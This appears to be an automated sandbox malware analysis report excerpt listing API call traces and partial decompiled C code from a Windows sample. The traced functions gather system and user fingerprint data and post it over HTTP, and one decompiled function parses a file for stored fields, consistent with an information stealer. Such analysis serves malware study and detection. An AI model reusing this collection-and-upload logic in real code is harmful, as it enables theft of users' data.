lstrcat.KERNEL32(?,00825160), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,0083A5B0), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,00825A48), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00828070), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(00827E60,00827E60), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(00827F20,00827F20), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(008257E8,008257E8), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(00825808,00825808), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(00827F38,00827F38), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(00827F50,00827F50), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,0083BEB8,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,0083B728,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(00827FF8,00827FF8), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(0083A5C0,0083A5C0), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,0083BF60,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,0083C9A0,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(0083A540,0083A540), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(0083A630,0083A630), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(00827F80,00827F80), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(00825908,00825908), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(00828118,00828118), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(00827FB0,00827FB0), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(00827FC8,00827FC8), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(00828010,00828010), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00839EA0,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,0083C898,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(0083A500,0083A500), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(00825A68,00825A68), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,00823958,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 1685704716-0
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 006C5930, Relevance: 96.3, APIs: 64, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C593B
RtlAllocateHeap.NTDLL(00000000), ref: 006C5942
lstrcat.KERNEL32(?,0041A6E4), ref: 006C5955
lstrcat.KERNEL32(?,0041A22C), ref: 006C5966
lstrcat.KERNEL32(?,00418BC0), ref: 006C5975
lstrcat.KERNEL32(?,0041A6C4), ref: 006C5986
lstrcat.KERNEL32(?,00418BC4), ref: 006C5995
lstrcat.KERNEL32(?,0041A544), ref: 006C59A6
lstrcat.KERNEL32(?,00418BC0), ref: 006C59B5
lstrcat.KERNEL32(?,0041A79C), ref: 006C59C6
GetCurrentProcessId.KERNEL32 ref: 006C59CC

Part of subcall function 006CBBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 006CBBB4
Part of subcall function 006CBBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 006CBBD5
Part of subcall function 006CBBA0: CloseHandle.KERNEL32(00000000), ref: 006CBBDF

lstrcat.KERNEL32(?,00000000), ref: 006C59E0
lstrcat.KERNEL32(?,00418BC0), ref: 006C59EF
lstrcat.KERNEL32(?,0041A55C), ref: 006C59FF

Part of subcall function 006CAF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006C5A0A), ref: 006CAF3D
Part of subcall function 006CAF30: RtlAllocateHeap.NTDLL(00000000), ref: 006CAF44
Part of subcall function 006CAF30: GetLocalTime.KERNEL32(?,?,?,?,?,006C5A0A), ref: 006CAF51
Part of subcall function 006CAF30: wsprintfA.USER32 ref: 006CAF7E

lstrcat.KERNEL32(?,00000000), ref: 006C5A0F
lstrcat.KERNEL32(?,00418BC4), ref: 006C5A1E
lstrcat.KERNEL32(?,0041A044), ref: 006C5A2F

Part of subcall function 006CAF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CAFA0
Part of subcall function 006CAF90: RtlAllocateHeap.NTDLL(00000000), ref: 006CAFA7
Part of subcall function 006CAF90: GetTimeZoneInformation.KERNEL32(?), ref: 006CAFBA

lstrcat.KERNEL32(?,00000000), ref: 006C5A3F
lstrcat.KERNEL32(?,00418BC0), ref: 006C5A4E
lstrcat.KERNEL32(?,0041A0FC), ref: 006C5A5F

Part of subcall function 006CB010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 006CB022

lstrcat.KERNEL32(?,00000000), ref: 006C5A6F
lstrcat.KERNEL32(?,00418BC4), ref: 006C5A7E
lstrcat.KERNEL32(?,0041A040), ref: 006C5A8E

Part of subcall function 006CB050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 006CB060
Part of subcall function 006CB050: RtlAllocateHeap.NTDLL(00000000), ref: 006CB067
Part of subcall function 006CB050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 006CB088
Part of subcall function 006CB050: LocalAlloc.KERNEL32(00000040,?), ref: 006CB0A0
Part of subcall function 006CB050: GetKeyboardLayoutList.USER32(?,00000000), ref: 006CB0B4
Part of subcall function 006CB050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006CB109
Part of subcall function 006CB050: wsprintfA.USER32 ref: 006CB132
Part of subcall function 006CB050: wsprintfA.USER32 ref: 006CB150
Part of subcall function 006CB050: memset.NTDLL ref: 006CB176
Part of subcall function 006CB050: LocalFree.KERNEL32(00000000), ref: 006CB18B

lstrcat.KERNEL32(?,00000000), ref: 006C5A9E
lstrcat.KERNEL32(?,00418BC0), ref: 006C5AAD
lstrcat.KERNEL32(?,0041A500), ref: 006C5ABE

Part of subcall function 006CB1A0: GetSystemPowerStatus.KERNEL32(?), ref: 006CB1AA

lstrcat.KERNEL32(?,00000000), ref: 006C5ACE
lstrcat.KERNEL32(?,00418BC4), ref: 006C5ADD
lstrcat.KERNEL32(?,0041A164), ref: 006C5AEE

Part of subcall function 006CB1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB1E4
Part of subcall function 006CB1D0: RtlAllocateHeap.NTDLL(00000000), ref: 006CB1EB
Part of subcall function 006CB1D0: RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,006C5AF9), ref: 006CB20B
Part of subcall function 006CB1D0: RegQueryValueExA.ADVAPI32(006C5AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 006CB22C
Part of subcall function 006CB1D0: RegCloseKey.ADVAPI32(006C5AF9), ref: 006CB236

lstrcat.KERNEL32(?,00000000), ref: 006C5AFE
lstrcat.KERNEL32(?,00418BC4), ref: 006C5B0D
lstrcat.KERNEL32(?,0041A580), ref: 006C5B1D

Part of subcall function 006CB250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB25D
Part of subcall function 006CB250: RtlAllocateHeap.NTDLL(00000000), ref: 006CB264
Part of subcall function 006CB250: memset.NTDLL ref: 006CB275
Part of subcall function 006CB250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 006CB286
Part of subcall function 006CB250: __aulldiv.LIBCMT ref: 006CB2A0
Part of subcall function 006CB250: wsprintfA.USER32 ref: 006CB2CC

lstrcat.KERNEL32(?,00000000), ref: 006C5B2D
lstrcat.KERNEL32(?,00418BC4), ref: 006C5B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 006C5B4D

Part of subcall function 006CB2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB2F4
Part of subcall function 006CB2E0: RtlAllocateHeap.NTDLL(00000000), ref: 006CB2FB
Part of subcall function 006CB2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[l), ref: 006CB31B
Part of subcall function 006CB2E0: RegQueryValueExA.ADVAPI32(X[l,0041A4DC,00000000,00000000,?,000000FF), ref: 006CB33C
Part of subcall function 006CB2E0: RegCloseKey.ADVAPI32(X[l), ref: 006CB346

lstrcat.KERNEL32(?,00000000), ref: 006C5B5D
lstrcat.KERNEL32(?,0041A0A8), ref: 006C5B6E

Part of subcall function 006CB360: GetCurrentProcess.KERNEL32(00000000), ref: 006CB36F
Part of subcall function 006CB360: IsWow64Process.KERNEL32(00000000), ref: 006CB376

lstrcat.KERNEL32(?,00000000), ref: 006C5B7E
lstrcat.KERNEL32(?,0041A10C), ref: 006C5B8F
lstrcat.KERNEL32(?,00418BC4), ref: 006C5B9E
lstrcat.KERNEL32(?,0041A798), ref: 006C5BAF
lstrcat.KERNEL32(?,00000000), ref: 006C5BBF
lstrcat.KERNEL32(?,00418BC4), ref: 006C5BCE
lstrcat.KERNEL32(?,0041A424), ref: 006C5BDF

Part of subcall function 006CB3D0: wsprintfA.USER32 ref: 006CB42C

lstrcat.KERNEL32(?,00000000), ref: 006C5BEF
lstrcat.KERNEL32(?,00418BC0), ref: 006C5BFE
lstrcat.KERNEL32(?,0041A75C), ref: 006C5C0E

Part of subcall function 006CAEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,006C5C19), ref: 006CAEAD
Part of subcall function 006CAEA0: RtlAllocateHeap.NTDLL(00000000,?,006C5C19), ref: 006CAEB4
Part of subcall function 006CAEA0: GetComputerNameA.KERNEL32(006C5C19,00000104), ref: 006CAECC

lstrcat.KERNEL32(?,00000000), ref: 006C5C1E
lstrcat.KERNEL32(?,00418BC4), ref: 006C5C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 006C5C3E

Part of subcall function 006CAEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,006C5C49), ref: 006CAEFD
Part of subcall function 006CAEF0: RtlAllocateHeap.NTDLL(00000000,?,006C5C49), ref: 006CAF04
Part of subcall function 006CAEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 006CAF1C

lstrcat.KERNEL32(?,00000000), ref: 006C5C4E
lstrcat.KERNEL32(?,00418BC4), ref: 006C5C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 006C5C6E
lstrcat.KERNEL32(?,00000000), ref: 006C5C7E
lstrcat.KERNEL32(?,00418BC4), ref: 006C5C8D
lstrcat.KERNEL32(?,0041A6C0), ref: 006C5C9D

Part of subcall function 006CB490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB4A4
Part of subcall function 006CB490: RtlAllocateHeap.NTDLL(00000000), ref: 006CB4AB
Part of subcall function 006CB490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,006C5CA8), ref: 006CB4CB
Part of subcall function 006CB490: RegQueryValueExA.ADVAPI32(006C5CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 006CB4EC
Part of subcall function 006CB490: RegCloseKey.ADVAPI32(006C5CA8), ref: 006CB4F6

lstrcat.KERNEL32(?,00000000), ref: 006C5CAD
lstrcat.KERNEL32(?,00418BC4), ref: 006C5CBC
lstrcat.KERNEL32(?,0041A074), ref: 006C5CCD

Part of subcall function 006CB510: GetCurrentHwProfileA.ADVAPI32(?), ref: 006CB51D
Part of subcall function 006CB510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 006CB52B
Part of subcall function 006CB510: RtlAllocateHeap.NTDLL(00000000), ref: 006CB532
Part of subcall function 006CB510: memset.NTDLL ref: 006CB549
Part of subcall function 006CB510: lstrcat.KERNEL32(?,?), ref: 006CB55A

lstrcat.KERNEL32(?,00000000), ref: 006C5CDD
lstrcat.KERNEL32(?,00418BC0), ref: 006C5CEC
lstrcat.KERNEL32(?,0041A31C), ref: 006C5CFD
lstrcat.KERNEL32(?,00418BC4), ref: 006C5D0C
lstrlen.KERNEL32(?), ref: 006C5D22

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 874587921-0
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: 4a6e7717e3388935c7a34c381aa2a2942550e59757f9f46cba3e2b0281061fa4
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 3BC12CBA611504FFCB00DBE4DF89D9E77F9AF4C3457208559B205D3661CB38AA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 006C4E30, Relevance: 84.4, APIs: 56, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 006C4E7A
RtlAllocateHeap.NTDLL(00000000), ref: 006C4E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006C4EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 006C4ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 006C4EED
lstrcat.KERNEL32(?,00000000), ref: 006C4F20
lstrcat.KERNEL32(?,00418B9C), ref: 006C4F32
lstrcat.KERNEL32(?,00418BA0), ref: 006C4F44
lstrcat.KERNEL32(?,?), ref: 006C4F58
lstrcat.KERNEL32(?,00418BA8), ref: 006C4F6A
lstrcat.KERNEL32(?,00418B9C), ref: 006C4F7C
lstrcat.KERNEL32(?,0041A1BC), ref: 006C4F90
lstrcat.KERNEL32(?,?), ref: 006C4FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006C4FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 006C4FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 006C5037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 006C5069
lstrcat.KERNEL32(?,00418BA0), ref: 006C508E
lstrcat.KERNEL32(?,?), ref: 006C50A2
lstrcat.KERNEL32(?,00418B9C), ref: 006C50B4
lstrcat.KERNEL32(?,0041A2CC), ref: 006C50C8
lstrcat.KERNEL32(?,0041A058), ref: 006C50DB
lstrcat.KERNEL32(?,00418BAC), ref: 006C50ED
lstrcat.KERNEL32(?,?), ref: 006C50FE
lstrcat.KERNEL32(?,00418B9C), ref: 006C5110
lstrcat.KERNEL32(?,00418BA0), ref: 006C5122
lstrcat.KERNEL32(?,?), ref: 006C5136
lstrcat.KERNEL32(?,00418B9C), ref: 006C5148
lstrcat.KERNEL32(?,0041A644), ref: 006C515C
lstrcat.KERNEL32(?,?), ref: 006C516D
lstrcat.KERNEL32(?,00418BB4), ref: 006C517F
lstrcat.KERNEL32(?,0041A038), ref: 006C5192
lstrcat.KERNEL32(?,00418B9C), ref: 006C51A4
lstrcat.KERNEL32(?,0041A538), ref: 006C51B7
lstrcat.KERNEL32(?,00418BB8), ref: 006C51C9
lstrlen.KERNEL32(?), ref: 006C51D6
lstrlen.KERNEL32(?), ref: 006C51E8
GetProcessHeap.KERNEL32(00000000,?), ref: 006C51FF
RtlAllocateHeap.NTDLL(00000000), ref: 006C5206
lstrlen.KERNEL32(?), ref: 006C5219
memcpy.NTDLL(?,?,00000000), ref: 006C522E
lstrlen.KERNEL32(?,?,?), ref: 006C5243
memcpy.NTDLL(?), ref: 006C5250
lstrlen.KERNEL32(?), ref: 006C525D
lstrlen.KERNEL32(?,?,00000000), ref: 006C5272
memcpy.NTDLL(?), ref: 006C5282
lstrlen.KERNEL32(?,?,?), ref: 006C52C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 006C52D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 006C52F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 006C530B
Sleep.KERNEL32(00007530), ref: 006C531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006C536D
lstrcat.KERNEL32(?,00000000), ref: 006C53A9
InternetCloseHandle.WININET(?), ref: 006C53B8
InternetCloseHandle.WININET(?), ref: 006C53C5
InternetCloseHandle.WININET(00000000), ref: 006C53D2

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID:
API String ID: 3074752877-0
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: 9bbfe64d61da41b75cf03cbd76c0f49a0084d7f556ffc218c7d19a13d9b7c571
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: E3F1A5B5A41218AFCB20DFA0DD48FDA7379BF48700F0085D9B209A7181DB74AAE4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x83abb8
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x83abe8
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x83abe8
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x83ac60
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x83a4c0
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x83a5a0
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x83a570
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x83b388
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x83b388
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x83b3a8
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x83a580
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
